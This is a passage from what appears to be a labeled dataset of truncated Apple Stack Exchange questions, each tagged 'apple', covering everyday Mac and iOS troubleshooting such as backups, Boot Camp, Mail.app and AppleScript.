Touch 4th generation I think it is with iOS 6. We have a problem with it whereby it doesn't show any wireless networks at all. Previously, it connected fine and would show ... ",['apple'] "Title: Distinguishing iPad with Retina Display and iPad2 Body: Tomorrow I will buy a 2nd hand iPad with Retina Display. But I do not have an idea how I can distinguish it from ipad 2. I know retina display is a very significant difference for experienced users. ... ",['apple'] "Title: Selling macbook, best/fastest way to delete data? Body: I need help to erase all of my data from my computer... Selling 2009 Macbook pro w. Lion. I don't have the startup disks. So I've created another admin account and am trying to delete mine from ... ",['apple'] "Title: Why Is Mac Malware Less Frequent Than On Windows Systems? [closed] Body: Whenever I ask friends, colleagues and acquaintances why they have bought an Apple Mac and switched from Windows, nine times out of ten the response I receive is: ""Macs don't get viruses"" Is it true ... ",['apple'] "Title: Can I change the font systemwide (10.8.3) [duplicate] Body: Is it possible to change the systems font? (finder, alerts, menus etc) ",['apple'] "Title: I can't install OSX Lion from DVD, because I receive an error Body: I tried to install OSX Lion from DVD, but when I boot from the dvd I receive bootstrapper crashed error. How can I fix that? Maybe the disc is scratched, or what's the problem? Thank you! ",['apple'] "Title: Firewall settings with “imagent” Body: Among others that I recognize, I have the ""imagent"" been allowed to pass true my firewall (allow incoming connection). What/who is it, and do I must have it or can I just block it. I do not ... ",['apple'] "Title: How to move iMovie library to external hard drive folder? Body: I would like to move all iMovie (iMove '11) events to a specific folder of an external hard drive. Apple documents a means to do this, but without specifying the folder; iMovie files are created in ... ",['apple'] "Title: Can you color label a file/folder in Finder using a keyboard shortcut? [duplicate] Body: Is there a faster way to label a selected file or folder without having to right-click and choosing a colour ? Such as a keyboard shortcut or another method to do this ? ",['apple'] "Title: Screencast Video Stream Body: Our school radio station is currently supplementing the audio based lessons with a slideshare meeting-based slideshow. Unfortunately slideshare has been pretty buggy and any time we want to stream ... ",['apple'] "Title: Can I use TimeMachine only when on wired connection? Body: I have a server to which I am backing up a single MacBook Pro running Mountain Lion, via TimeMachine. I would like to only back up when the MacBook Pro has a wired connection to the network. The ... ",['apple'] "Title: iPhone 4 needs to restored, but I am concerned about losing photos Body: My iPhone 4 suddenly turned off and won't turn back on. I've tried charging it, holding the home and top button and plugging it into my computer. Nothing is working. When I plugged it into my ... ",['apple'] "Title: mac crashed while installing mountain lion - cable disconnect Body: I downloaded mountain lion on my mbp which is run by snow leopard atm. I started to install it and waited for the installation to end. When it came down to the last 12-11 minutes, I ended my ... ",['apple'] "Title: Enable SSH access for AD admin accounts Body: I have the need to configure SSH access for a AD service account on a fleet of Macs. I can't make the account a local account as the password for the service account cycles often. The end goal is to ... ",['apple'] "Title: iphone 4 says error -1? Body: I just bought a iPhone 4 off craigslist, and it's stuck on the iTunes screen .. whenever I try to restore it, towards the end of the process, a icon pops up and says error -1. What does this mean? ",['apple'] "Title: programatically access file type icons? Body: I need to build a script (sh or ruby) to list a bunch of files within a folder, and just to make it prettier I wan't to access the associated application that opens the file, and it's default icon. ... ",['apple'] "Title: How to avoid Mountain Lion to asking for an Java installation? Body: I uninstalled java today by using this guide. Since then I get an dialog which asks me for installing java. This happens every time after a login to my user. How can stop this request or how I can ... ",['apple'] "Title: Can I attach 2 dual-DVI screens to a Radeon 5870? Body: The card (ATI Radeon HD 5870 1024 MB) has 1 dual-DVI port and 2 mini display ports. http://i.imgur.com/iUOawq6.jpg The dual-DVI is hooked up to a 30"" 2560x1600 Dell screen. I also have a 27"" ... ",['apple'] "Title: Finder droplet description when cursor over icon Body: After Dragging a droplet onto Finder's toolbar, hover description is its path. Is there any way to customize this description? ",['apple'] "Title: Is it possible to connect a microphone to an iPhone/iPad via WiFi and use it instead of the built in one? Body: It is possible to connect a microphone to an iPhone/iPad using bluetooth, BUT would it be possible to achieve the same kind of connection with a microphone but over a WiFi network? To explain: I have ... ",['apple'] "Title: Can't enable Apple Two Step Authentication Body: I see from all of the various blogs and news sites that Apple finally has two step authentication with their Apple ID. That's great -- especially with the latest security hole where you can now reset ... ",['apple'] "Title: I can't get my old pictures off my iPod Body: I just updated my iPod 3rd generation, and I'm having a lot of problems! Photostream started only with my new pictures and now I'm not able to get my old pictures off my iPod and it's really ... ",['apple'] "Title: Copying file from Windows PC keeps failing Body: I've set up sharing of my MacBook on my home network. It doesn't show as visible but I can access it at \jdxmacbook from the Windows PC. However when I try to copy a file, it starts OK but after ... ",['apple'] "Title: App to add simple mask and call outs to photos Body: I'm looking for an iOS app that will let me add simple gray masks to photos then knockout an ellipse or rectangular area to callout a person or feature in the picture. Lots of photo editors in the ... ",['apple'] "Title: Prevent TextEdit from opening for unknown file types that are plain text Body: TextEdit is used by the system so it can't be removed, but I have another text editor I use and it causes confusion when text files that don't have a suffix or don't have a suffix which I've already ... ",['apple'] "Title: Launchpad indexing tweaks Body: With Launchpad, does anyone know where the base files and preferences for Launchpad are located? I was wondering, is it possible to index 2 separate applications folders and combine them into one on ... ",['apple'] "Title: Is there a way to edit google spreadsheets offline on iphone? Body: I downloaded their app but it doesn't let me edit them when offline. But some websites seem to say it's possible to edit them offline. Any ideas? ",['apple'] "Title: Win 8 on Macbook Air Body: I tried to install win 8 on mac using new bootcamp. the problem is that bootcamp formats the drive as Fat 32, and the installation does not start because it needs NTFS format. when format bootcamp ... ",['apple'] "Title: How i can log various information of files in directory? Body: I'm looking for a way to get the following information via AppleScript: all the information ls provides including the creation date/time of a file or folder MD5 hash, Finder labels and ... ",['apple'] "Title: Thread count of process x? Body: My AppleScript needs to get thread count of process x. I have tried many ps etc codes but all these are not working for some reason. I tried these: do shell script ""ps uH p 301 | wc -l"" -->"" ... ",['apple'] "Title: Is there an app to convert a video to HTML / JS / JSON? Body: Apple's site does some neat tricks on their pages to display videos encoded as a JPG file and then decoded and rendered in a canvas element (see ... ",['apple'] "Title: Import PDF files from laptop to iPad without network Body: We can use iTunes to import PDF files to Books application of iPad. However Books application has no PDF annotation capability. I have installed other PDF viewers on iPad (like Documents by Readdle, ... ",['apple'] "Title: Where are pages files stored after I export them to itunes? Body: With my iPad connected to my MacBook, I exported some Pages files to iTunes in docx format. Now I'm using my laptop without the iPad, and I want to find these files. Where/how are they stored? Tks. ",['apple'] "Title: WiFi adapter manual settings for MTU Body: What can I do to optimize my reception? For example what is the Network setting Hardware for? If set to configure manually and lower the MTU (what is MTU anyway), will it help in better reception. ... ",['apple'] "Title: Can't extend Macintosh HD partition after removing Linux Body: I toyed around with Linux, and after discovering that the offical Linux NVidia drivers doesn't have EFI support which makes it impossible to make it work optimally on my system (bummer), I wanted to ... ",['apple'] "Title: Are there any files which are NOT restored from a Time Machine backup but taken from the recovery partition? Body: I'll get a replacement Mac soon, so I'll have to restore from a backup. Apart from the home directory and the applications, does Time Machine also backup the usually hidden Unix folders like /etc, ... ",['apple'] "Title: iPhone backup error. What does this mean? Body: The iOS was upgraded from 6.1.2 to 6.1.3 and the ADSL disconnected part way through the upgrade and I lost all my contacts, photos, settings etc. Below is the error message that occurs every time I ... ",['apple'] "Title: How can root launch a regular Mac application from a cron job in /etc/crontab? Body: I want the cronjob to do some things as the superuser, and depending on the result, launch an app as me, the logged-in user. I've tried a bunch of things but nothing I think should work does. ... ",['apple'] "Title: How can I fix this pixelated Macbook Pro display malfunction? Body: My Macbook Pro (Core 2 Duo - 2007) has seen better days. When I try to start, it simply boots to this odd pixelated image of the Apple start screen: I can only imagine that this is a display issue, ... ",['apple'] "Title: How to diagnose an extension conflict Body: I have a conflict of some type that makes my mac hang on boot. I can still boot in ""Safe Mode"", so I suspect that it's a conflict between some .kext and another. How can I go about diagnosing this? ... ",['apple'] "Title: What is the maximum amount of file arguments I can pass to a command? Body: If I do this in OS X, what is the maximum amount of files I can test? Or is there a maximum length for this string? do shell script ""md5 -q 'path/to/file1.txt' 'path/to/file2.txt'"" ",['apple'] "Title: What's wrong with my Outlook search? Body: Ever since doing OS X 10.8 updates, a pair of machines with Outlook refuse to look back further than 2 weeks during e-mail searches. Spotlight settings all look OK. I even forced an index ... ",['apple'] "Title: How to sync Yahoo Mail with OS X? Body: Ever since I moved to a MacBook Air from a PC about two weeks ago, I have had a problem in syncing my Yahoo Sent Mail on my MacBook Air with my iPad and iPHone. What gets synced is some old sent mail ... ",['apple'] "Title: Safari saves PDF as .pdf.jpeg because of faulty mimeType Body: When I try to open a PDF link by clicking on it, Safari saves it as filename.pdf.jpeg, then tries to open it in Preview, and claims that the file is broken. I checked the requests to see what's ... ",['apple'] "Title: Deeper knowledge of os x? [closed] Body: I want to gain deeper knowledge of os x, which books/courses/forums should i take? All books that i have seen was about how to save your document in Pages. First of all, i will learn bash but what's ... ",['apple'] "Title: Can not preview message in Mail.app Body: Using last OS X Lion, I was using Mail.app, classic view, so there was always a preview for each message. This has now dissapeared, how can I solve this? ",['apple'] "Title: Logic 9 is not recognizing my audio line-out port as Output Device Body: Logic 9.1.8 is not seeing my ""Audio Line-Out Port"" (that's now it is labeled in the System Preferences under Audio). It's the headphone jack on the back of my Mac Pro 12-core. Other devices (iTunes, ... ",['apple'] "Title: 10.8.3 update will not run - keeps asking for restart Body: I have tried to update to 10.8.3 a number of times, however, when I come back from the necessary restart, the same message appears in the App Store - as if nothing had happened. please help with this ... ",['apple'] "Title: How to change TextEdit keyboard shortcuts? Body: I would like to change TextEdit shortcuts which are visible in the menu, but are not listed in Keyboard shortcuts in System preferences. I tried adding new shortcut, assigned to TextEdit, but it ... ",['apple'] "Title: Midi to iPod touch 2g Body: The apple camera connection kit is reported to work with jailbroken iPod touches running ios 5 or higher. Are there any ways of getting an old jailbroken iPod touch 2g to receive messages from a ... ",['apple'] "Title: Using 3rd party keyboard on Bootcamp Body: I'm using a Razer Black Widow keyboard on Windows 7 Bootcamp. I was wondering if there was any way for the volume control buttons other function buttons to be remapped onto the keyboard. I have tried ... ",['apple'] "Title: Turn off Mail animations OS 10.8.3 Body: I have tried using this code in the terminal to turn off the reply animation in Mail defaults write com.apple.Mail DisableReplyAnimations -bool true It doesn't work for me. I turn off Mail, enter ... ",['apple'] "Title: “Airplane Mode” in OS X. Alternative command for `rfkill`? Body: This question is an exact duplicate of this post from superuser.exchange.com. I believe this is a valid question for both of sites and hope I am not (if any) violating stackexchange policies. ... ",['apple'] "Title: Re-downloading apps purchased in a different country? Body: I lived in Canada for several years, but now I live in Norway (again). In Canada, I have purchased many apps on both the iOS and Mac OS X app stores. Some of these apps I have uninstalled over the ... ",['apple'] "Title: Can OS X services be split up across multiple OS X Servers at different locations? Body: My company has two offices, in two different cities. I'd like to use a colo (http://macminicolo.net) to host our OS X Server, which will manage Open Directory data, device management, VPN, shared ... ",['apple'] "Title: Apple Discussions website not responding to clicks? Body: This is ironic, Apple's Discussions website is not working properly in the latest version of Safari (6.0.3) or Chrome (25). Any link or button that I click on the page does not work. Is this ... ",['apple'] "Title: Slipstream updates into an OS X install disc? Body: Is there a way to slipstream (like in Windows) all updates into the install disc for Mac OS X 10.6 Snow Leopard? I found a previous answer here, but the provided link doesn't seem to work any more... ... ",['apple'] "Title: SSH request timeout every time Body: I am trying to access a storage space we have at work via ssh but I get a timeout every single time (Mac OS 10.7.5 - Terminal). I checked firewalls, settings, even turned off Little Snitch, and port ... ",['apple'] "Title: How can I hide a recurring Calendar event? Body: In order to reserve a conference room in my office (via Exchange) I have to send a meeting request to the room's calendar. I have a recurring daily event to book a room indefinitely, and I don't want ... ",['apple'] "Title: Stop text input from changing tm to ™ Body: Every time I type ""tm"" in Safari, or an app that uses a Webkit control, it changes it to ™. How do I stop this from occuring? ",['apple'] "Title: Can I list files ordered by date added to a folder from a command-line tool like ls? Body: I need to build a script that shows files in the same order as the default Downloads folder in the dock, ordered by Date Added, newest first. I can't seem to find the option in ls. Any other way to ... ",['apple'] "Title: Mail.app button to explicitly move to Junk without built-in filtering Body: I'd like to create a button in Mountain Lion's Mail.app to move mail to an IMAP folder called Junk, much like the Archive button moves mail to my IMAP Archive folder. (This folder is automatically ... ",['apple'] "Title: Apple ID Password email address is inccorrect but store email address IS correct after restoring iPhone 4S Body: So weird thing happened last night. I was updating the iOS to my iPhone 4S when the cord accidentally got jerked out of the phone. I had to reset the phone and restore from back-up. Now when I try ... ",['apple'] "Title: Time Capsule and HP LaserJet CP1025 color printer Body: I had no problem using the printer connected to the iMac via the USB-cable. After installing the Time Capsule in order to be able to print wirelessly, the printer is not working. The USB-cable is ... ",['apple'] "Title: OS X Mountain Lion shortcut menu Body: I just switched from a PC (Ubuntu 12.10) to a Macbook Pro (Mountain Lion). I'd like to know if there's a way to have a similar shortcut menu on the dock as I had on Ubuntu's sidebar? Basically I made ... ",['apple'] "Title: Automating Python with launchd & permissions Body: I setup a Python script to run automatically using launchd (via a .plist) I wanted this particular script to always run, whether a user was logged in or not, so I put the .plist that ""launches"" it ... ",['apple'] "Title: text messages forwarded from my google voice number aren't recognized as being from my iPhone contacts Body: I set up my google voice number to forward to my AT&T number, but when I get texts from some people who are in my contact list, the text appears to come from phone numbers I don't recognize. The ... ",['apple'] "Title: Why is it that I can no longer access some folders in my old time machine backups and how can I get access? Body: So I recently had IT reformat my Mac OS 10.6 laptop to put a 10.8 image on it. When I first got it back I could still access all folders in my old backups, including the Library folder under my old ... ",['apple'] "Title: Why's airplay randomly disconnecting? Body: We're having problems with airplay machines. We've got a pair of Apple TVs as well as multiple Macbooks. Airplay is not used much, but when it is, it likes to randomly disconnect. It doesn't seem ... ",['apple'] "Title: Specify the resource a virtual machine has Body: I am using a Mac having this: I have installed VMware Fusion, in one virtual machine Ubuntu has been installed with this ressource: And here is what is displayed in System Monitor of Ubuntu: ... ",['apple'] "Title: Add admin username & password to the keychain Body: How can the admin's username password, be remembered or added it to the keychain so these annoying prompts would be less frequent? The app referenced here (Anvil) is not relevant. I'm looking for a ... ",['apple'] "Title: Can an alias be added to the dock via the command line? Body: I found this article but it handles the GUI solution. I would like to automate the setup of a new machine, and do that I've created Dropbox shares of a number of my common configurations. (I could ... ",['apple'] "Title: iPhone & Lotus Traveler - Trouble Editing Meeting Invitation Body: I am trying to resolve an issue with my boss' iPhone. When we create any meeting invitations (either directly from the iPhone or in Lotus Notes on the computer) they appear on the iPhone calendar, ... ",['apple'] "Title: Fundamental Difference Between Charging An iPhone At The Mains & Via USB Cable Linked To An iMac? Body: If you are working at an iMac and there is also a mains socket close at hand, is there any difference (in any respect) to charging an iPhone via USB cable linked to the Mac or is it more advisable to ... ",['apple'] "Title: jailbroken iPhone 4 stuck at boot screen after update Body: My aunt's iPhone 4 was jailbroken the day it was bought. And about last month, she updated it. Suddenly the screen went blank only the apple logo was showing. She can't fix it with iTunes because she ... ",['apple'] "Title: Why do certain packages fail in NetInstall? Body: We are using NetInstall to image Macs at work. I build the NetInstall images with System Image Utility, and customize them with the ""Add Packages and Post-Install Scripts"" workflow item. NetInstall ... ",['apple'] "Title: Create backup iPhone with forgotten encryption password Body: I'm trying to make a backup from my iPhone, however it's set to be password protected. I do now know the password, as I've never set one. I've tried all the passwords I know, which I've ever used to ... ",['apple'] "Title: quicktime play/pause keyboard shortcut Body: Is there any ability to start playing and set pause for video in quicktime by keyboard hotkey. Now i'm doing window switch and then clicking on space key to achieve it. Is there any hot-key for that? ... ",['apple'] "Title: Screen mirroring and image resize Body: I have two questions about this topic. 1) Suppose my MBP is connected to the TV via HDMI (TV is 55 inch). Can I resize to, say 27 inch or anything less than the actual size of the TV? 2) I have two ... ",['apple'] "Title: Photos are being swapped between both iphones Body: I had iphone4 which I sent overseas to a friend. And I purchased iphone5 which I am using. Just lately I've been getting his photos that he takes and photos which I take of my family are going to his ... ",['apple'] "Title: Is there any app to add a keyboard shortcut to a mouse click on a specific location? Body: Basically I have a program that I use to study and I need to be able to quickly choose between a 8 choice answer button. The program does not have inbuilt keyboard shortcuts. I need to answer a ... ",['apple'] "Title: Font Smoothing Woes Body: I just connected a Dell U2410 external monitor to my rMBP (OS X 10.8.2), via a ""Mini DisplayPort to DVI Adapter"". As noted frequently on the web, the display is horrible. I've read a bunch of links ... ",['apple'] "Title: How can I backup my entire iTunes Match library to an external disk? Body: My built-in SSD is relatively limited when it comes to storing all my media files, which is why most of my iTunes library lives in the cloud via iTunes Match, for streaming on demand. In the near ... ",['apple'] "Title: How to make Mobile Safari open email links in the Gmail app? Body: Is it possible to make a mobile Safari open email links directly to the native Gmail app, rather than open up to Apple's Mail.app? ",['apple'] "Title: generate Keynote presentation from text or Markdown? Body: Is there a way to automatically generate a Keynote presentation from a source file written in text format, Markdown format, or org-mode? I know that Pandoc and other tools can generate HTML-based ... ",['apple'] "Title: How to use the camera of an iPad connected to a Mac as a video camera? Body: Is there a way to use the back camera of an iPad Mini as a video camera, so that I can use it from Screenflow as an input video device ? ",['apple'] "Title: Emacs 24 with fullscreen? Body: Is there a way to use Emacs 24 in fullscreen mode? The Emacs wiki seems to imply that it has been disabled, but that there are some workarounds / patches. It doesn't have to be ""true"" full screen, ... ",['apple'] "Title: What can I do to improve performance with an apparently slow internal hard disk of a Time Capsule? Body: The original hard disk seemed slow. The first disk was broken, and I had a fitting one in house which I placed in the Time Capsule. I replaced the disk a while ago. Since then, the performance is ... ",['apple'] "Title: Apply “Floating/Translucent Window” to all existing sticky notes? Body: If I have a large number of sticky notes on my desktop, each of which a varying permutation of ""Floating/Translucent Window"", is there a way to ""Select All"" stickies and apply the ... ",['apple'] "Title: How to backup Airport Extreme USB drive with Time Machine Body: I have a drive connected to the Airport Extreme using its USB cable. I want to back up this drive using Time Machine (or some other practical method, though I trust Time Machine more than other ... ",['apple'] "Title: MacBook Pro only stays on for less than a minute Body: This morning when I woke up my computer it turned off itself. Now it won't stay on for more than a couple minutes. The computer will boot up normally, but soon it turns off again. When it turns off, I ... ",['apple'] "Title: Merge iTunes libraries Body: My iTunes library is on an external disk. I forgot to attach the external disk once and now I have some iTunes files locally. How do I merge these local files with the external library? ",['apple'] "Title: PageUp and PageDown keys for Irssi (IRC) in Macbook? Body: I cannot find the keys on my mackbook. I need them to go page-up and page-down in irssi (IRC). I have tested the tips here but they do not work. They model some different Up/Down, not the traditional ... ",['apple'] "Title: Can I use iPhone 4 3G services outside of my native country? Body: I have an iPhone 4, bought at my home country and I have a data plan with a local telco carrier. My phone has never being unlocked. See, I am such a nice citizen in Apple's walled, seclusive and ... ",['apple'] "Title: Where does Apple announce upcoming press events? Body: Most tech news web sites publish stories a few days before upcoming Apple hardware/software announcment press events. How do they know that there will be a press event? I couldn't find that ... ",['apple'] "Title: How to debug external display connectivity problems? Body: I'm having problems with connecting my retina MBP with external displays of all kinds. The DisplayPort->VGA adapter has a 1/4 success rate. The HDMI port (via a DVI adapter) does not see my monitor. ... ",['apple'] "Title: Where does MplayerX keep its playback history? Body: MplayerX, not only remembers what I've watched but also is able to resume playback at a later invocation. For example, if I watch media-file abc.m4v for 4 minutes and then quit the program. Then ... ",['apple'] "Title: Bluetooth Audio Passthru From Mac -> iPhone -> Headphones Body: I am wondering if it is possible to Pass Audio thru an iPhone thru it's Bluetooth connection, and on to an external Audio source such as a pair of headphones, either bluetooth, or Wired. ",['apple'] "Title: OSX Preview HIGHLIGHTER makes for bad PRINT quality Body: There appears to be a funny bug in Preview.app 5.0.3 (504.1): I took a few PDF pages of normal black text, used Preview's yellow highlight functionality, and printed it on a B&W HP Laserjet. The ... ",['apple'] "Title: Music stopping on app close? Body: I have had my iPad on iOS 5.0.1 for a while, and restored it a couple of months ago, wiping all the content. Today I put some music back on (this is iOS 5.1.1 now) and while the music player works, as ... ",['apple'] "Title: Mac Outlook 2011 pasting text not at cursor Body: I'm using outlook for emails, each time I paste copied/cut text (from within the same email) it will not paste at the the cursor/ibar but at the top of the email text. Any solutions? Thanks in ... ",['apple'] "Title: Restoring user data to os10.7 Body: My computer crashed and I made a copy of the entire hard disk by drag and drop on an external hard drive in target mode. Can I restore everything from this drive to the computer now that is 10.7 has ... ",['apple'] "Title: Deffrence between Gsm And Global Body: I want to download iPhone firmware, But I don't know my iPhone is Global or GSM so What is difference between ""iPhone 5 (Global)"" and ""iPhone 5 (GSM)""? How can I recognize my iPhone is Global or ... ",['apple'] "Title: Does (or when will) the Google Chrome browser support speech recognition on the iPad? Body: I tried testing the Google Chrome browser's speech recognition on the iPad2. Doesn't show the little microphone (see the bottom of this test page) It it simply not supported? Or only on iPad3 or ... ",['apple'] "Title: How to delete all from the Voice Memos app on iOS? Body: I need to delete all the tracks from Voice Memos in order to free up memory on my device. Deleting tracks one at a time is not an option since I have hundreds of them. I am using an iPod touch 4G. ",['apple'] "Title: wifi.log disappeared? Body: I had some trouble with my wifi connection so I figured, I could switch on logging for airport via sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport debug ... ",['apple'] "Title: Source of iPhone weather data? Body: Where does the standard iPhone weather app get it's data from? Specifically, is there a single global server or does it use local sources depending on your location? ",['apple'] "Title: How do I get the terminals in terminal.app to go to the right directory after restart with tcsh? Body: The terminal.app keeps the tabs after a restart and it even shows the content of the buffers. But all open tabs are at the home directory rather than the working directory they were in at shutdown. I ... ",['apple'] "Title: iPod volume control problems Body: I recently purchased an apple iPod touch 4th gen but the volume control has been stuck at the max and will start going up or down at any random time The up button doesn't work and the down volume will ... ",['apple'] "Title: How to avoid a forced shutdown or crash when the MagSafe is plugged in and got loose? Body: The new MagSafe for the current Macbook Air isn't very strong for its magnetic force, so it can become loose easily. Today I left the Macbook Air unplugged and it went into sleep, and after I plugged ... ",['apple'] "Title: Advanced Apple Script iCal Help Body: This is what I have so far. All works ok, except for my duplicate check. Just receiving tell statement for ""Event Discarded: Old."". When this is not the case. Any Help? to ... ",['apple'] "Title: Question mark folder after reboot and cannot detect other boot option! Body: My mac froze during some heavy hard disk activity which forces me to power down the machine. It's a 13 inch MacBook Pro with mountain lion which I bought roughly last year but updated the OS. But ... ",['apple'] "Title: Isn't it redundant to have Versions as well as Time Machine? Body: Versions and Time Machine seem to me to offer duplicated features: both do hourly backups, and their interfaces for browsing previous versions of files are very similar. The only difference I can see ... ",['apple'] "Title: Duplex Scanning in OSX with non-duplex scanner with document feeder Body: How can I scan a large double sided document with my scanner's document feeder? The scanner only can scan one side of the page. However, I am bulk scanning all my bills and tax forms and have several ... ",['apple'] "Title: Dual TIme Machine backups; “Delete all backups of a file” applies to only one drive? (Bug?) Body: Asked at Apple Discussions but the silence is deafening... I'm using two 2TB internal drives in tandem for Time Machine and deleted some files while in Time Machine. They deleted from drive A, but ... ",['apple'] "Title: Can Mail show a folder's total message count next to the folder name? Body: Apple Mail displays the number of unread messages in each folder in its sidebar: Is there any way to make it display the folder's total message count (read plus unread) in addition to, or instead ... ",['apple'] "Title: How do I install handbrake cli? Body: I've downloaded the Handbrake CLI. What's the best place to install a command line app on my Mac? ",['apple'] "Title: Time Capsule doesn't show all time machine backups Body: My Mountain Lion iMac was affected by the Seagate disk recall. I backed up to my trusty Time Capsule (as per norm) before the disk replacement, planning to restore from said Time Capsule. However, ... ",['apple'] "Title: How can I update my 3rd generation iPod touch from iOS 5.1.1 iOS 6.0 Body: My itunes keeps on telling me that my iOS 5.1.1 iPod touch is up to date when I click Check for Update: iTunes 11.0.2 OS X 10.8.2 iPod 3rd gen (MC008LL) I recall that back in the day I used to ... ",['apple'] "Title: Weird Output in terminal Body: I am using the terminal for some debugging and I noticed that it has stopped displaying my user before the path. Now its displaying (null) like so: (null):mspgcc-examples dean$ Whats changed? As ... ",['apple'] "Title: Three-finger swipe between pages unresponsive Body: After upgrading to Mountain Lion I'm always having to two-finger scroll up or down at least once before I can three-finger swipe between pages. It's as if I have to ""re-activate"" the gesture every ... ",['apple'] "Title: Choose a tab in textmate 2 Body: Choosing : I use a European keyboard (french) and I can't use ⌘1, ⌘2 etc. to access a specific tab with TM2. These shorcuts are used by the Finder to choose a Desktop (Space). In the Preferences ... ",['apple'] "Title: Firewall on iPhone/iOS (ipfw or pf) Body: I want to run ipfw or pf on my iPhone -- or the equivalent. Seems simple, but I can't find anything that works. Device is jailbroken, looked very carefully through Cydia, and even through some of ... ",['apple'] "Title: 2007 iMac kernel panics repeatedly Body: I have an iMac (24-inch Mid 2007) which has recently had a lot of kernel panics (a screen pops up telling me to reboot). After rebooting the machine several times, the error still comes up. I took it ... ",['apple'] "Title: No bootable device - insert boot disk and press any key after Boot Camp Body: When I tried to install Windows on my iMac I must have have formatted the wrong disk. Now when start I get no bootable device - insert boot disk and press any key. Any suggestions! ",['apple'] "Title: Default settings for pmset -g? Body: I remember changing some values to disable Deep sleep mode and hibernation a few months ago, and realised that my battery drains faster now. I just want to revert all settings to default. I changed ... ",['apple'] "Title: Duplicate songs when sync with iPad 1 Body: When I connect my first-gen iPad to my Mac, I have in duplicates in my iTunes. This song have a gray font and have a circle next to their names. Here is a screenshot: Any idea how to remove this ... ",['apple'] "Title: Is there a way to sync Google Calendar with iCal without CalDAV or EAS? Body: As part of the spring cleaning announcement in which Google announced that they would be killing off Google Reader, they also mentioned winding down the CalDAV API. Given that Google's Microsoft ... ",['apple'] "Title: Mail.app: connect to IMAP server with STARTTLS Body: I have an IMAP account on a private server and they said me to configure my mail with a STARTTLS secure connection on the port 993 and authentication with standard password. How can I set STARTTLS in ... ",['apple'] "Title: BootCamp 5 + Windows 8 troubles (unsupported hardware?) Body: I preordered Windows 8 a while back, and as soon as I got it I tinkered around with BootCamp 4 (which technically only supports Windows 7) to get it up and running, since the only computer I have is a ... ",['apple'] "Title: .ibooks format on the iphone? Body: I download a "".ibooks"" file for this free book and tried adding it to my iPhone library but it doesn't show up. Manually dragging it over doesn't work either. Is it because .ibooks isn't supported by ... ",['apple'] "Title: Add specific media types to iTunes without copying them to the iTunes Media Folder? Body: I have some media that I'd like to stream to my AppleTV that's quite transient. I don't need it in my iTunes Media Folder proper for more than one viewing of the media. Is it possible to have iTunes ... ",['apple'] "Title: uptime: /dev/ttys003: No such file or directory Body: When I use the uptime command on OS X, this error is printed: $ uptime uptime: /dev/ttys003: No such file or directory 20:57 up 36 days, 22:10, 3 users, load averages: 1.77 1.37 1.75 By running ... ",['apple'] "Title: How to change attributes of ALL master slides in a KEYNOTE theme at once? Body: Is there a way to change multiple masters at once in Keynote. Examples Change the background color for ALL slides from grey to green. Change all fonts from Copperplate to Garamond Insert a company ... ",['apple'] "Title: Is the UUID command missing in 10.8.2? Body: I just noticed that the uuid command is no longer working on my MacBook. One possibility is that it was removed when I upgraded to Mountain Lion. The man page is still available. man uuid Does ... ",['apple'] "Title: Updating bootcamp without re-installing Body: Now that the 10.8.3 update is out for Mountain Lion with Windows 8 support, I would like to update my existing Windows 8 installation (upgrade from 7) to have the new drivers without re-installing ... ",['apple'] "Title: External monitor resolution setting is lost after MacBook “wakes up” from sleep Body: I have recently purchased an external monitor that I am connecting to my MacBook Pro (Late 2009) using the MiniDisplay-to-VGA adapter. I have both the external monitor and the MacBook's monitor set to ... ",['apple'] "Title: Why would a large transfer to a USB drive take longer than expected? Body: I am backing up 225 GB to a Western Digital USB 2.0 hard drive but this seems really slow. Any ideas on what I could do to make this transfer faster? It's saying it will take seven hours and it is a ... ",['apple'] "Title: I'm in Peru and having battery problems and electric shock issues with my new MacBook Air Body: I purchased this MacBook Air in late 2012, found that the initial battery life was more than six hours in the US, then came to Peru. Peru runs on 220, and most everywhere that I am, the electricity is ... ",['apple'] "Title: No notifications (iphone 4 / ios 6.1.2 jailbroken) Body: I have recently been given an unlocked iphone 4 (GSM), upon which I have installed a jailbroken (but not hacktivated) iOS 6.1.2 using snowbreeze. Calling seems to work fine` as does everything ... ",['apple'] "Title: Programmer new to Apple - How to efficiently switch between files in XCode? Body: I'm a programmer that's pretty much brand new to Apple software, and everthing is all weird and different and scary :P, so I'm trying to figure out some workflow stuff: I'm used to having a Visual ... ",['apple'] "Title: App to sync local folder with Amazon S3 service storage? Body: I have an account with Amazon S3 service storage. I also have the Transmit app which allow me to sync any local folder with Amazon S3. It works fine but I want this to be done in a scheduled way ... ",['apple'] "Title: Putting Jailbroken iPad 1 into DFU mode Body: I have a jailbroken iPad1 that is still using iOS 4. I want to upgrade it to iOS 5, but I cannot get it to go into DFU mode in order to do so. Can anyone identify the exact steps needed to either ... ",['apple'] "Title: Users application shared data Body: I have an application which requires some data to be shared between multiple users who may use a machine. I understand there is a /Library/Application Support/ directory where shared information can ... ",['apple'] "Title: How to backUp an iPhone with a black/blank screen? Body: Recently I dropped my iPhone 4 and when I picked it up the screen was all black but the sensor was still on. I called Apple and basically they said they can try to repair it or just buy a new one. So, ... ",['apple'] "Title: Why rebooted Macbook Pro with Mountain Lion prevents adding or moving files at Desktop? Body: Whenever I reboot my Macbook Pro since installing OSX 10.8 the desktop is locked, prohibiting files from being dropped on or moved from the desktop. I can right-click, select “Get Info” and uncheck ... ",['apple'] "Title: MacBook Pro won't connect to wireless internet, though it says it already is! Body: I am suddenly having problems with my MacBook Pro's wireless connectivity. It has worked flawlessly up to this point: I choose a wireless network from the list, I type the password, and it just ... ",['apple'] "Title: Copying applications from applications folder to external and reinstalling osx Body: Is it possible to copy all my applications from the applications folder onto an external, format my mac, reinstall OS X and finally copy the applications back into the applications folder for ... ",['apple'] "Title: Fix app window on spaces change? Body: I'm working with 2 screens. On the smaller I have documentation open while on bigger I have IDE. When making terminal fullscreen it will go big on one screen(bigger), while making other blank. Is ... ",['apple'] "Title: Is there music library software for OSX that works like Picasa does to replace iPhoto? Body: I'm kinda new to OS X, but loving it. I have decided to replace iPhoto with Picasa and want a replacement for iTunes that works more like Picasa. There are just some apps that really get on my ... ",['apple'] "Title: How to modify existing podcast information? Body: I'm a podcaster and I already submitted a podcast. However, I want to change the ""Podcast Website"" link under the Links section. ... ",['apple'] "Title: Sending emails with the Apple Mail program using AppleScript. Body: I don’t know AppleScript at all so thanks in advance for any help offered on this question. I’m on my Macbook Pro laptop with the latest version of OSX installed. I have a csv file that looks like ... 